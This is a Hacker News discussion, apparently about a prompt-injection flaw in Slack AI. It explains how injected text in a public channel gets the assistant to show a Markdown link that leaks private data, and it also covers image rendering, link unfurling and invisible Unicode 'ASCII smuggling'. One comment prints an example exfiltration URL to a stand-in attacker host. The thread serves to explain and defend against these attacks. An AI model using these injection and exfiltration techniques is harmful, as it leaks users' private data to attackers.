5 ms·
The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this ca
by simonw 2y ago
The key thing to understand here is the exfiltration vector.
Slack can render Markdown links, where the URL is hidden behind the text of that link.
In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI as part of the context it has access to.
If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.
Here's my attempt at explaining this attack: https://simonwillison.net/2024/Aug/20/data-exfiltration-from-slack-ai/ https://simonwillison.net/2024/Aug/20/data-exfiltration-from...
- jjnoakes 2y agoIt gets even worse when platforms blindly render img tags or the equivalent. Then no user interaction is required to exfil - just showing the image in the UI is enough.
- jacobsenscott 2y agoYup - all the basic HTML injection and xss attacks apply. All the OWASP webdev 101 security issues that have been mostly solved by web frameworks are back in force with AI.
- ipython 2y agoCan’t upvote you enough on this point. It’s like everyone lost their collective mind and forgot the lessons of the past twenty years.
- digging 2y ago> It’s like everyone lost their collective mind and forgot the lessons of the past twenty years. I think this has it backwards, and actually applies to every safety and security procedure in any field. Only the experts ever cared about or learned the lessons. The CEOs never learned anything about security; it's someone else's problem. So there was nothing for AI peddlers to forget, they just found a gap in the armor of the "burdensome regulations" and are currently cramming as much as possible through it before it's closed up.
- samstave 2y agoSome (all) CEOs learned that offering a free month coupon/voucher for Future Security Services to secure your information against a breach like the one that just happened on the platform that's offering you a free voucher to secure your data that sits on the platform that was compromised and leaked your data, is a nifty-clean way to handle such legal inconveniences. Oh, and some supposed financial penalty is claimed, but never really followed up on to see where that money went, or what it accomplished/paid for - and nobody talks about the amount of money that's made by the Legal-man & Machine-owitz LLP Esq. that handles these situations, in a completely opaque manner (such as how much are the legal teams on both sides of the matter making on the 'scandal')?
- Jenk 2y agoTechies aren't immune either, before we all follow the "blame management" bandwagon for the 2^101-tieth time. CEOs aren't the reason supply chain attacks are absolutely rife with problems right now. That's entirely on the technical experts who created all of those pinnacle achievements in tech ranging from tech-led orgs and open source community built package ecosystems. Arbitrary code execution in homebrew, scoop, chocolatey, npm, expo, cocoapods, pip... you name it, it's got infected. The LastPass data breach happened because _the_ alpha-geek in that building got sloppy and kept the keys to prod on their laptop _and_ got phised.
- aftbit 2y agoYeah supply chain stuff is scary and still very open. This ranges from the easy stuff like typo-squatting pip packages or hacktavists changing their npm packages to wreck all computers in Russia up to the advanced backdoors like the xz hack. Another big still mostly open category is speculative execution data leaks or other "abstraction breaks" like Rowhammer. At least in theory things like Passkeys and ubiquitous password manager use should eventually start to cut down on simple phishing attacks.
- sebastiennight 2y agoWait, where can we read more about that? When you say "the keys to prod" do you mean the prod .ENV variables, or something else?
- typeofhuman 2y agoThis presents an incredible opportunity. The problems are known. The solutions somewhat. Now make a business selling the solution.
- Eisenstein 2y agoHow do you 'undo' an entire market founded on fixing mistakes that shouldn't have been made once it gets established? Like the US tax system doesn't get some simple problems fixed because there are entire industries reliant upon them not getting fixed. I'm not sure encouraging outsiders to make a business model around patching over things that shouldn't be happening in the first place is the optimal way to solve the issues in the long term.
- thuuuomas 2y agoThis is the fantasy of brownfield redevelopment. The reality is that remediation is always expensive even when it doesn’t depend on novel innovations.
- simonw 2y agoThese attacks aren't quite the same as HTML injection and XSS. LLM-based chatbots rarely have XSS holes. They allow a very strict subset of HTML to be displayed. The problem is that just supporting images and links is enough to open up a private data exfiltration vector, due to the nature of prompt injection attacks.
- tedunangst 2y agoMore like xxe I'd say.
- dgoldstein0 2y agoyup, basically showing if you ask AI nicely to <insert secret here>, it's dumb enough to do so. And that can then be chained with things that on their own aren't particularly problematic.
- simonw 2y agoYeah, I've been collecting examples of that particular vector - the Markdown image vector - here: https://simonwillison.net/tags/markdown-exfiltration/ https://simonwillison.net/tags/markdown-exfiltration/ We've seen that one (now fixed) in ChatGPT, Google Bard, Writer.com, Amazon Q, Google NotebookLM and Google AI Studio.
- macOSCryptoAI 2y agoYes, images! And also link unfurling in bots. This researcher here talked about it before and also found tons of such data exfil issues in various LLM apps: https://embracethered.com/blog/posts/2024/the-dangers-of-unfurling-and-what-you-can-do-about-it/ https://embracethered.com/blog/posts/2024/the-dangers-of-unf...
- lbeurerkellner 2y agoAutomatically rendered link previews also play nicely into this.
- benreesman 2y agoI think the key thing to understand is that there are never. Full Stop. Any meaningful consequences to getting pwned on user data. Every big tech company has a blanket, unassailable pass on blowing it now.
- baxtr 2y agoReally? Have you looked into the Marriott data beach case?
- benreesman 2y agoThis one? “Marriott finds financial reprieve in reduced GDPR penalty” [1]? They seem to have been whacked several times without a C-Suite Exec missing a ski-vacation. If I’m ignorant please correct me but I’m unaware of anyone important at Marriott choosing an E-Class rather than an S-Class over it. [1] https://www.cybersecuritydive.com/news/marriott-finds-financial-reprieve-in-reduced-gdpr-penalty/588190/ https://www.cybersecuritydive.com/news/marriott-finds-financ...
- baxtr 2y agoNah, European GDPR fines are a joke. I’m talking about the US class action. The sum I read about is in the billions.
- benreesman 2y agoIt sounds like I might be full of it, would you kindly link me to a source?
- mbesto 2y agoDoesn't sound like its actually been resolved yet. This is the only article I can find that refers to how much they've had to pay out of pocket: https://www.cnn.com/2019/05/10/business/marriott-hack-cost/index.html https://www.cnn.com/2019/05/10/business/marriott-hack-cost/i... There are just "estimates" around the billions, but none of that has actually materialized AFAIK.
- IshKebab 2y agoYeah the initial text makes it sound like an attacker can trick the AI into revealing data from another user's private channel. That's not the case. Instead they can trick the AI into phishing another user such that if the other use falls for the phishing attempt they'll reveal private data to the attacker. It also isn't an "active" phish; it's a phishing reply - you have to hope that the target user will also ask for their private data and fall for the phishing attempt. Edit: and have entered the secret information previously! I think Slack's AI strategy is pretty crazy given how much trusted data they have, but this seems a lot more tenuous than you might think from the intro & title.
- hn_throwaway_99 2y agoYeah, the thing that took me a bit to understand is that, when you do a search (or AI does a search for you) in Slack, it will search: 1. All public channels 2. Any private channels that only you have access to. That permissions model is still intact, and that's not what is broken here. What's going on is a malicious actor is using a public channel to essentially do prompt injection, so then when another user does a search, the malicious user still doesn't have access to any of that data, but the prompt injection tricks the AI result for the original "good" user to be a link to the malicious user's website - it basically is an AI-created phishing attempt at that point. Looking through the details I think it would be pretty difficult to actually exploit this vulnerability in the real world (because the malicious prompt injection, created beforehand, would need to match fairly closely what the good user would be searching for), but just highlights the "Alice in Wonderland" world of LLM prompt injections, where it's essentially impossible to separate instructions from data.
- SoftTalker 2y agoAs a developer I learned a long time ago that if I didn't understand how something worked, I shouldn't use it in production code. I can barely follow this scenario, I don't understand how AI does what it does (I think even the people who invented it don't really understand how it works) so it's something I would never bake into anything I create.
- wood_spirit 2y agoLots of coders use ai like copilot to develop code. This attack is like setting up lots of GitHub repos where the code is malicious and then the ai learning that that is how you routinely implement something basic and then generating that backdoored code when a trusting developer asks the ai how to implement login. Another parallel would be if yahoo gave their emails to ai. Their spam filtering is so bad that all the ai would generate as the answer to most questions would be pushing pills and introducing Nigerian princes?
- zelphirkalt 2y ago
- wunderwuzzi23 2y agoFor bots in Slack, Discord, Teams, Telegram,... there is actually another exfiltration vector called "unfurling"! All an attacker has to do is render a hyperlink, no clicking needed. I discussed this and how to mitigate it here: https://embracethered.com/blog/posts/2024/the-dangers-of-unfurling-and-what-you-can-do-about-it/ https://embracethered.com/blog/posts/2024/the-dangers-of-unf... So, hopefully Slack AI does not automatically unfurl links...
- mosselman 2y agoDoesn’t the mitigation described only protects against unfurling, but still makes data leak if the user clicks the link themselves?
- wunderwuzzi23 2y agoCorrect. That's just focused on the zero click scenario of unfurling. The tricky part with a markdown link (as shown in the Slack AI POC) is that the actual URL is not directly visible in the UI. When rendering a full hyperlink in the UI a similar result can actually be achieved via ASCII Smuggling, where an attacker appends invisible Unicode tag characters to a hyperlink (some demos here: https://embracethered.com/blog/posts/2024/ascii-smuggling-and-hidden-prompt-instructions/ https://embracethered.com/blog/posts/2024/ascii-smuggling-an...) LLM Apps are also often vulnerable to zero-click image rendering and sometimes might also leak data via tool invocation (like browsing). I think the important part is to test LLM applications for these threats before release - it's concerning that so many organizations keep overlooking these novel vulnerabilities when adopting LLMs.
- deleted 2y ago[deleted]
- sam1r 2y ago>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs. Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?
- simonw 2y agoSimply clicks the link. The trick here is that the link they are clicking on looks like this: https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here So clicking the link is enough to leak the secret data gathered by the attack.
- 8n4vidtmkvmk 2y agoThe "reauthenticate" bit was a lie to entice them users to click it to 'fix the error'. But I guess it wouldn't hurt to pull a double whammy and steal their password while we're at it...